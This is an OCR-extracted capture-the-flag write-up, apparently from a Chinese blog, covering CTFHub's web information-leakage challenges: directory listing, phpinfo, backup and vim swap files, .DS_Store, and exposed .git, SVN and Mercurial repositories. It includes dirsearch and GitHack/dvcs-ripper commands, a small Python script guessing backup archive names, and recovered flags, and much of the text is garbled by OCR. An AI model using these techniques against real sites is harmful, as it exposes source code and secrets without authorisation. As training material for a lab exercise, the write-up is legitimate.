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@ CTFHub

@ Index of /flag in _here/3/3

X C SYE-CSDNigE X +

<« C © F%% | challenge-76127cb65e06e282.sandbox.ctfhub.com:10080/flag in_here/3/3/
Index of /flag in_here/3/3
Name Last modified Size Description

a Parent Directory
flag.txt

2020-04-10 05:12 49

Apache/2.4.38 (Debian) Server at challenge-76127cb65e06e282.sandbox.ctfhub.com Port 10080

WK E AT AEE nmap, XEREZ—4

TR BB RR, W] AR Bflag. btrE SO 3/3 LT

ctfhub{88b149b346fb302de0450995974715be4fa603ec}

—. PHPINFO

phpinfo & H AL #4015 BRPHP LR REM KEBFE R, HRFEE TPHPIH G, EHHARE. pholAER. REB/EH

B HEERERE. HTTPLMPHPEUER.

“cB R VYOOR o

C @ F%==2| challenge-ef9d443006000220.sandbox.ctfhub.com:10080/phpinfo.php Y
$_SERVER['SCRIPT_NAME'] /phpinfo.php
$ SERVER['PHP_SELF'] /phpinfo.php
$_SERVER['REQUEST_TIME_FLOAT'] 1586496649.426
$_SERVER['REQUEST TIME'] 1586496649
$ SERVER['argv'] l}-n’ay
)
$ SERVER['argc'] 0
3 ENV['APACHE_RUN _DIR’] Jvar/run/apache2

$ ENV['APACHE PID_FILE']

/var/run/apache2/apache2.pid

$ ENV['PATH']

Jusr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

$_ENV['APACHE_LOCK_DIR'] Mvar/lock/apache2

$ ENV['LANG'] C

$ ENV['APACHE RUN_USER'] www-data

$_ENV['APACHE_ RUN_GROUP"] www-data

$_ENV['APACHE LOG DIR'] /var/log/apache2

$_ENV[PWD'] / /
$_ENV['FLAG'] ictfhub{3abc5b87dd92ce11b479a004e4ca36b43ce00144]

PHP Credits

Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei
Zmievski

Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger

Zend Scripting Language Engine

Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita
Popov

A] LLE ZI7EPHP Variables 23 2] TFLAG. ctfhub{3a6c5b87dd92ce11b479a004e4ca36b43ce00144}
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e tar
e tar.gz
* Zip
* rar

A |5 e e

* web

e website
backup
back
WWW
wwwroot
temp

] L F dirsearchi3 3

python3 dirsearch.py -u http://challenge-91f1f5e6a791ab0@2.sandbox.ctfhub.com:10080/ -e *



/view-source
/WarehouseEJB/
/WarehouseWeb/
/WEB-INF
/WarehouseEJB/services/WarehouseFront
/web-console/Invoker
/web.tgz
/web/phpMyAdmin/scripts/setup.php
Jfweb.zip
/webadmin
/webmail/
/webmail/src/configtest.php
/WebService
/WebSphereBank
/WebSphere
Jwizmysqladmin/
/WLDummyInitIVMIDs
/WordPress/
Swiki/
/Wordpress/
/up-content/plugins/google-sitemap-generator/sitemap-core.php
/up-content/plugins/akismet/admin.php
/up-content/uploads/
/up-includes
Jup-content/plugins/akismet/akismet.php
Juvdial.conf
/wmwboard/passwd. txt
/v . rar
/wmiroot.7z
/o .t gZ

o . Z1p

Sé3 ?xslfcommon.xsl
503 /yonetici
503 /zabbix/

Task Completed
- hitps://blog.csdn.net/a

NEHCE
pythonfifi 4 .
import requests
url = "http://challenge-d43c376975fe79c9.sandbox.ctfhub.com:10080/"
a = ['web', 'website', "backup', 'back", 'www', 'wwwroot"', 'temp’
b=/["tar', 'tar.gz',"'zip", 'rar’
for i in a
for j in b
pos = url + 1+ '"." + j
r = requests.get(pos
print(i
print(j
print(r
BERIEwWwWw.zipH, TEREGEFIMAE, U7Xk, 5%fag
&« C ® F=Zz%= | challenge-2f64d513849592d0.sandbox.ctfhub.com:10080/flag 1496812209.txt

ctfhub (283818af 1c0£94:b 398244926 1¢84¢a7d9535701)

2. bakx

IR RAEL LI P HEATEEAT T &0 RAE, I ER B CHFBAE T web BHRTF, Bia 5N IR EE .



1 Fdirsearchia

python3 dirsearch.py -u http://challenge-d4234042e1d43e96.sandbox.ctfhub.com:10080/ -e *

K Ibak3Cf: http://challenge-04e00dc531ed053a.sandbox.ctthub.com:10080/index.php.bak, T #7153
ctthub{c815ebc9b93ada54b4723aac5e2a4d22a9f187eb}

B C:\Users\TQing\Downloads\index.php.bak - Notepad++

THHF) SEE(E) ERS) WEV) SN ESL) BEM I50) &=M) EER) EEP) mOWw) ? X
sHHEELS D2t 2xBEIST EEENE®| @ MNE
[ index. php. bakﬂ'
1 <!DOCTYPE html>
2 E<html>
3  [E<head>
4 <title>CTFHub & 3CHF FH - bak</title>
5 F</head>
6 E(bod}b
7 E<?php
8
g // FLAG: ctfhub{c815ebc%b%3ada54b4723aac5e2a4d22a9f187eb}
10
11 echo "Flag in index.php source code.";
12 F2>
13 t</body>
14 L</html>
15
Hyper Text Markup Lz length : 220 lines: 15 Ln:1 Col:1 Sel:0]|0 Unix (LF) UTF-8 INS
3. VImZ& %

e B SCAF RAEVImZ B SCA R L2 QI KIS F, WREFIERIRE, WWRSCEEsIMER, WRESNEBEMSRE, ZvimRHEiR L
G, BUARACEZEL M, SEAUEY ZF XK R RGN

Pl index.php A8 28— IK7=4E B 7 XHE 4N index.php.swp
FoRESMBHE, X408 .index php.swo
B=IRFEERZAFSEN A index php.swn

ER: indexii g . "



1 Al http://challenge-343d9fadf3a2a2f.sandbox.ctthub.com:10080/index.php.swp F R &EFE 15 3
ctthub{8f4301704447f3106de94198e6913197cb3571a2}

E’ C:\Users\TQing\Downloads\index.php.swp - Notepad++

IR SREB(E) EBEES) ME(\V) ®BEN) ESL \ET I8O) #=M) EFR) BEErE) s0w) ? X
8 = s @ 4 DD ;g2 BE |1 EEEHLE®| @ (]
B index php. bakkd B index. ohp. swpm‘

1

2
ER NULNULINULINULINULINULINULINULINULINULINULINULINULINULINULINULINULINULNU LINULINULINULINULINULINULINULINULINULINU LINULINU|
4 [EE<html>E8? >0,/ / ctfhub{B8f4301704447£3106de5%41966913197chb3571a2 ] Mii<? php B

< >
Normal text file length: 12,288 lines: 4 Ln:4 Col:3,995 Sel:48]|1 Macintosh (CR) ANS! INS
4. .DS_Store

.DS_Store f& Mac OS fREF LK B & e Rt . #id.DS_Store ] PAANIEIXA B 5 BT A S HITE $ .
1Jj 19 http://challenge-980bb94257 3f0bff.sandbox.ctfhub.com:10080/.DS_Store3k#5DS_Store — Bk X 44:, #ElinuxZ Zicat

0$e94cheleesabb58c71363b97fod1329e. txtr

DS_Store
Bt LA 1Al http://challenge-980bb94 257 3f0bff.sandbox.ctfhub.com:10080/e94c0e2ee5abb58¢71363b97f6d1329e.txt, 152
ctthub{b0652300aa41e9c54bddbf6c2a31235bf0cabd2b}
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1. Log

it HILogZh RE P A F R A 52 o

@ CTFHub bl @ CTFHub git leakage X

< C  ©® =% | challenge-a5¢183cde5a6283e.sandbox.ctfhub.com:10080



Where is flag?

WIERRN, fFHdirsearchKIA —EH AL FHEFA NS, RJ5HGithack THE T B AH, Fgitlog, #H47%fHLEIAI153)]
flag. iXEBEIER T —/NYik £ Githack A, B TFHIRIXA:
https://github.com/BugScanTeam/GitHack.git

kali@kali: ~/Desktop/GitHack
File Actions Edit View Help
$ python GitHack.py http://challenge-a5c183cde5a6283e.sandbox.ctfhub.com:10080/.git/

Cloning into ' /home/kali/Desktop/GitHack/dist/challenge-a5c183cde5a6283e.sandbox.ctfhub.com_10080" ...
fatal: repository 'http://challenge-a5c183cde5a6283e.sandbox.ctfhub.com:1008@/.git/' not found
[-] Clone Error

[-] [Skip][First Try] Target is not support Directory Listing

https://blog.csdn.net/a597934448

Is -aRBEF R gitdiffiEFgitlR3Z A

kali@kali: ~/Desktop/GitHack/dist/challenge-a5c183cde5a6283e.sandbox.ctfhub.com_10080
File Actions Edit View Help

T $ 1s -a
50x.html index.html

: $ git log
commit 3634278dd7c9a4cB785af4cd77ecab21a8928323 ( master)
Author: CTFHub <sandbox@ctfhub.com>
Date: Sat Apr 11 14:32:34 2020 +0000

remove flag

commit 4f8191d2b@4c6b97e4b98eae31bilbbe3@dfiec2
Author: CTFHub <sandbox@ctfhub.com>
Date: Sat Apr 11 14:32:34 2020 +0000

add flag

commit ee855b456e408a4b478b3e38e206ded9d@1471be
Author: CTFHub <sandbox@ctfhub.com>
Date: Sat Apr 11 14:32:34 2020 +0000

init
x $ git diff 4f8191d2b04c6b97e4b98eae3lbsibbe3edfiec2
diff -—-git a/16642123927452.txt b/16642123927452. txt




deleted 1le mod b
index 726e35e .. 0000000
-—= a/16642123927452.txt
++ Sdev/null

2. Stash

stashdir &7 F T I i (RAF AR BB 2, FT#E 2032

-
@ CTFHub bl @ CTFHub .git leakage X

C @ 4Z= | challenge-5cf7cd88731ac199.sandbox.ctfhi

Where is flag?

FlogMIEMM ERE —E. git stash list WHETA RAFIERFIR, git stash pop, M git FRFBHR—A0MH, XA
HIN A Bt 2 flag

167471846017270.
xt

kali@kali: ~/Desktop/GitHack/dist/challenge-5cf7cdB8731ac199.5andbox.ctfhub.com_10080
File Actions Edit View Help

$ git stash list

stash@a{@}: WIP on master: 79f@995 add flag

1 $ git stash pop
CONFLICT (modify/delete): 167471846017270.txt deleted in Updated upstream and modified in Stashed changes. Version Stashed changes of 16747
1846017270.txt left in tree.

The stash entry is kept in case you need it again.

$1

3. Index



AP AR — A, QiSO T BB A 5 BL T XSt L H B 2 flag .

File Actions Edit View Help

Cloning into '/home/kali/Desktop/GitHack/dist/challenge-5987a4c4831fa@48.sandbox.ctfhub.com 10080" ...

1[’3'5311: repository 'http:/ challenge-5987a4c4831fa048.sandbox.ctfhub.com_10080 - File Manager - O x

-] Clone Error
X File Edit View Go Help

[-] [Skip][First Try] Tar &= ™ ﬁ ist/challenge-5987a4c4831fa048.sandbox.ctfhub.com_10080/ C

DEVICES
_E File System . .

Lt 50x.html 3075028359784.1x index.html
B t

= Desktop

' Trash
NETWORK
Ej Browse Network

28350784.bat": 49 bytes plain text document

TBRGE o PrtaBI OB 4B L

Fi. SVNiitt &

HIF RN RAEA SUN #EATRRASZ S, XA BEh#E .. MREREAN D RS s REERIE DL LS. Xu5ET
SVN it Z& I -



Subversion, FRSVN, £—AMFFHIEABKIRAES RS, MM TFHRRCS. CVS, RATAXEHERY, BRI HirHA
BARCVS. HEM kiR E k% M CVSEE 2|Subversion,

@ CTFHub @ CTFHub E5E SYN X

C  © F£Z£ | challenge-eaZedf3b40441491.sandbox.ctfhub.com: 10080

(E5itEE - Subversion

Flag 7EfRSS Im| HMARTRA TS+

E T N FBR G HEF X A T B B https://github.com/kost/dves-ripper

ZHPerlffik:
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

T#dves-ripperLE: git clone https://github.com/kost/dvcs-ripper

dves-ripper L EF¥::  ./rip-git.pl -v -u http://www.example.com/.svn/

svn1.6 & AR AR AR STET B A SR T AR —AS.svn X%, BHEEE T A XM &M, U428 svn/text-base/3C 4 .svn-base
svn1.7 & UL JE A ) R7E 350 B AR B AR —A.svnsefE3%, B Hpristine SCHF & B T #BATH # AT U4



Al PASEFEwe.dbK, cat wec.db | grep flag, #H-

kali@kali: ~/Desktop/dves-ripper/.svn/pristinefc7
File Actions Edit View Help

druwxr-xr-x 5 kali kali 4096 Apr 11 11:38
druwxr-xr-x 2 kali kali 4096 Apr 11 11:38
druwxr-xr-x 2 kali kali 4096 Apr 11 11:38
: $ cat bf
cat: bf: Is a directory
: $ cd vf
bash: cd: vf: No such file or directory
: $ cd bf
: $ 1s -al
total 12
druxr-xr-x 2 kali kali 4@96 Apr 11 11:38
druxr-xr-x & kali kali 4@96 Apr 11 11:38
-rw-r—r— 1 kali kali 221 Apr 11 11:38 bf45c36a4dfb73378247a6311eac4fB80f48fcb92.svn-base
2 $ cat bf45c36a4dfb73378247a6311eac4f80f48fcb92.s5vn-base
<html>

<head>
<meta charset="UTF-8" />
<title>CTFHub £ B it & SVN</title>
</ head>

<body>

<hi>= B ¥ - Subversion</hi>

<br />

<p>Flag EHREEBREMHEXLB P ¢/p>
</ body>

</html> : $ cd
: $ cd c7
: $ 1s -al

total 12

drwxr-xr-x 2 kali kali 4096 Apr 11 11:38

drwxr-xr-x 4 kali kali 4096 Apr 11 11:38

-rw-r—r— 1 kali kali 49 Apr 11 11:38 c782a57c@50981653b690cb8cc99174cOcf@f123.svn-base

$ cat c782a57c@50981653b690cb8cc99174c@cf@f123. svn-base

ctfhub{bE%aﬁﬁb3e22fBSfﬁg5149&93d3eﬁbc3?226c185?}

hitp: sdn.net/a

R RRAE B At Fpristinettic? B ##% 2 T flag.
75 HGitt 38

LI RN R Mercurial #ATRRA S, Xk mEZIHE. WRREA Y TRSK hg XHLEERERL LHE., Xp5lE
T hg it FE IR .



Fl#EMercurialth & —MRAZEH A4, RATRBEEHNK, BAXHBMEBTLLEE—

@ CTFHub @ CTFHub E5#E hg X

C © AZ%£ | challenge-5e8292bf8a7e5669.sandbox.ctthub.com: 10080

=BiitsE - Mercurial

Flag TERRSS Im| BREABNRAES S, AT EIER T, lEF TR,

1 A dves-ripper T #;
hg3Cf#: ./rip-hg.pl -v -u http://challenge-5e8292bf8a7e5669.sandbox.ctfhub.com:10080/.hg/

$ ./rip-hg.pl -v -u http://challenge-5e8292bf8a7e5669.sandbox.ctfhub.com:10088/.hg/
Downloadlng hg files from http://challenge-5e8292bf8a7e5669.sandbox.ctfhub.com:10080/.hg/
Auto-detecting 404 as 200 with 3 requests
Getting correct 404 responses
found @b@changelog.1
found dirstate
found requires
Not found for branch: 484 Not Found
Not found for branchheads.cache: &84 Not Found
found last-message.txt
Not found for tags.cache: 404 Not Found
found undo.branch
found undo.desc
found undo.dirstate
found store/@@changelog.i
Not found for store/@@changelog.d: 484 Not Found
found store/@@manifest.i
Not found for store/@@manifest.d: &@04 Not Found
found store/fncache
found store/undo
Not found for .hgignore: 404 Not Found
Running hg status to check for missing items
cannot Flnd hg: Mo such file or directory at ./rip-hg.pl line 14@.

$1

BN T K .hg B (B HEctri+hal LBREBE) , B grep -r flag * #K, Klflagh— mBlil.

: $ grep -r flag *
Binary file dirstate matches
last-message.txt:add flag

Binary file store/undo matches
store/fncache:data/flag_2044512478.txt.1
Binary file undo.dirstate matches

ilRe, 183lfag.

< C O® 4==2 | challenge-5e8292bf8a/e5669.sandbox.ctthub.com:10080/flag 2044512478.txt

ctihub {2c24d3b54e fd349ed3d08 24429536244 14966:80) >



	CTFHUBWeb技能树——信息泄露writeup
	web之信息泄露
	一、目录遍历
	二、PHPINFO
	三、备份文件下载
	1、网站源码
	2、bak文件
	3、Vim缓存
	4、.DS_Store

	四、Git泄露
	1、Log
	2、Stash
	3、Index

	五、SVN泄露
	六、HG泄露


